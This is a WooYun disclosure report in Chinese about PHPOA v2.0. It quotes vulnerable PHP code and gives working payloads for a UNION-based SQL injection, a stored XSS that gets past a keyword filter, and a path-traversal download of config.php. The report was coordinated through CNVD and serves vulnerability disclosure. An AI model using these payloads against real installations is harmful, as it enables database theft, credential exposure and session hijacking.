当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2014-63280

漏洞标题: 某协同网络办公OA系统若干漏洞打包(附详细分析)

相关厂商: 北京天生创想信息技术有限公司

漏洞作者: Mr .LZH

提交时间: 2014-06-05 14:18

公开时间: 2014-09-01 14:20

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-05: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商已经确认,细节仅向厂商公开
2014-06-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-02: 细节向核心白帽子及相关领域专家公开
2014-08-12: 细节向普通白帽子公开
2014-08-22: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

某协同网络办公OA系统若干漏洞打包,后台注入,xss指哪打哪,任意文件下载

详细说明:

官方地址:http://**.**.**.**

版本编号:PHPOA v2.0

发布时间:2014-01-27



漏洞一:注入



第一,分析防注入。

include/common.php

code 区域
31行
if ( !get_magic_quotes_gpc() ) {
$_GET = add_slashes($_GET);
$_POST = add_slashes($_POST);
$_COOKIE = add_slashes($_COOKIE);
}





include/class_mysql.php

code 区域
21行
if ($this->version() > '4.1') {
mysql_query('SET NAMES '.strtolower(str_replace('-','',TOA_CHARSET)).';',$this->link);
}





由此可看出,\ ' " 会被转义,切无法字符编码绕过。

但如果参数是数字型,sql不用突破单引号,就存在危险。



第二,找到一处注入点。

duty/mod_duty.php

code 区域
mod_duty.php
}elseif ($do == 'excel') {
$datename="duty_".get_date('YmdHis',PHP_TIME);
$outputFileName = 'data/excel/'.$datename.'.xls';
//生成数据
$content = array();
$archive=array("任务编号","任务名称","执行人","任务开始时间","任务结束时间","任务描述","备注","任务状态","分配人");
$content[] = $archive;
$wheresql = '';
//根据条件导出
$vstartdate = getGP('vstartdate','G');
$venddate = getGP('venddate','G');
if ($vstartdate!='' && $venddate!='') {
$wheresql .= " AND (startdate>='".$vstartdate."' and enddate<='".$venddate."')";
}
//权限判断
$un = getGP('un','P');
$ui = getGP('ui','P');
if(!is_superadmin() && $ui==''){
$wheresql .= " and (user like'%".get_realname($_USER->id).",%' or uid='".$_USER->id."')";
}
if ($ui!='') {
$wheresql .= " and uid in(".$ui.")";
}
if ($number = getGP('number','P')) {
$wheresql .= " AND number=".$number."";
}
if ($dkey = getGP('dkey','P')) {
$wheresql .= " AND dkey=".$dkey."";
}
if ($title = getGP('title','P')) {
$wheresql .= " AND title LIKE '%$title%'";
}
//SQL查询要导出的内容
$sql = "SELECT * FROM ".DB_TABLEPRE."duty WHERE 1 $wheresql ORDER BY id desc";
$result = $db->query($sql);



dkey和number参数可不用突破单引号。



得到注入点:

地址:**.**.**.**/v2014/admin.php?ac=duty&fileurl=duty

post数据:do=excel&number=1 uNion sElect 1,version(),3,user(),5,6,7,8,9,10,11,12 #



QQ截图20140602195959.png



QQ截图20140602200146.png





对程序未进行全面排查,应该还有很多相似情况,不继续深入,厂商自己排查。



有时候普通用户权限被限制得比较死,没办法在这里注入怎么办?看漏洞二。



漏洞二:XSS指谁打谁,狂插管理员。

QQ截图20140602194442.png



如图位置,向指定人发送消息。内容为:

<scrscriptipt>alealertrt('xss');</scrscriptipt>



经过后台处理script,alert字符被替换为空,成功绕过变成:

<script>alert('xss');</script>

触发xss。

QQ截图20140602194235.png





如果还不满足于现有的资料,看漏洞三。



漏洞三:任意文件下载。



down.php

code 区域
<?php
//下载文件
define('IN_ADMIN',True);
require_once('include/common.php');
get_login($_USER->id);
$filename=$_GET['urls'];
$phps=explode('/',$filename);
if($phps[0]!='data' && $phps[0]!='ntko'){
echo '下载失败!';
exit;
}
$phps1=explode('.',$filename);
if($phps1[1]=='php'){
echo '下载失败,请不要非法下载!';
exit;
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($filename));
readfile($filename);
?>





不得不为程序员的智商感到悲哀。

$phps=explode('/',$filename);

判断$phps[0]!='data' && $phps[0]!='ntko'为true时退出,你想干嘛呢?限制只能下载这2个目录下的文件??开玩笑啊。



再来一个高智商的。

$phps1=explode('.',$filename);

判断$phps1[1]=='php'为true时退出。这是不让我下载php文件??



于是乎这样的地址简单突破。

http://**.**.**.**/V2014/down.php?urls=data/../config.php



没错吧,data文件夹下,分割.符号后得到的第二个字符是空的,不是php。完全合法的地址。

漏洞证明:

QQ截图20140602195959.png



QQ截图20140602200146.png



QQ截图20140602194235.png

修复方案:

换程序员

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-08 10:12

厂商回复:

CNVD确认所述情况(本地复现),由CNVD尝试通过公开联系渠道向软件生产厂商通报。按多个漏洞综合评分,rank 20

最新状态:

2014-06-08:补充一下处置状态,CNVD在6月4日联系天生创想,63421038,对方拒绝提供邮箱等联系方式。


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-28 14:00 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    CNVD在6月4日联系天生创想,63421038,对方拒绝提供邮箱等联系方式。

  2. 2014-09-01 17:39 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)
    0

    = = 不是说有利用条件的,rank会降低吗?

  3. 2014-09-01 22:43 | 狮子找女友 ( 路人 | Rank:8 漏洞数:3 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)
    0

    换程序员太狠了,说不定刚应届毕业。。。不容易哈

登录后才能发表评论,请先 登录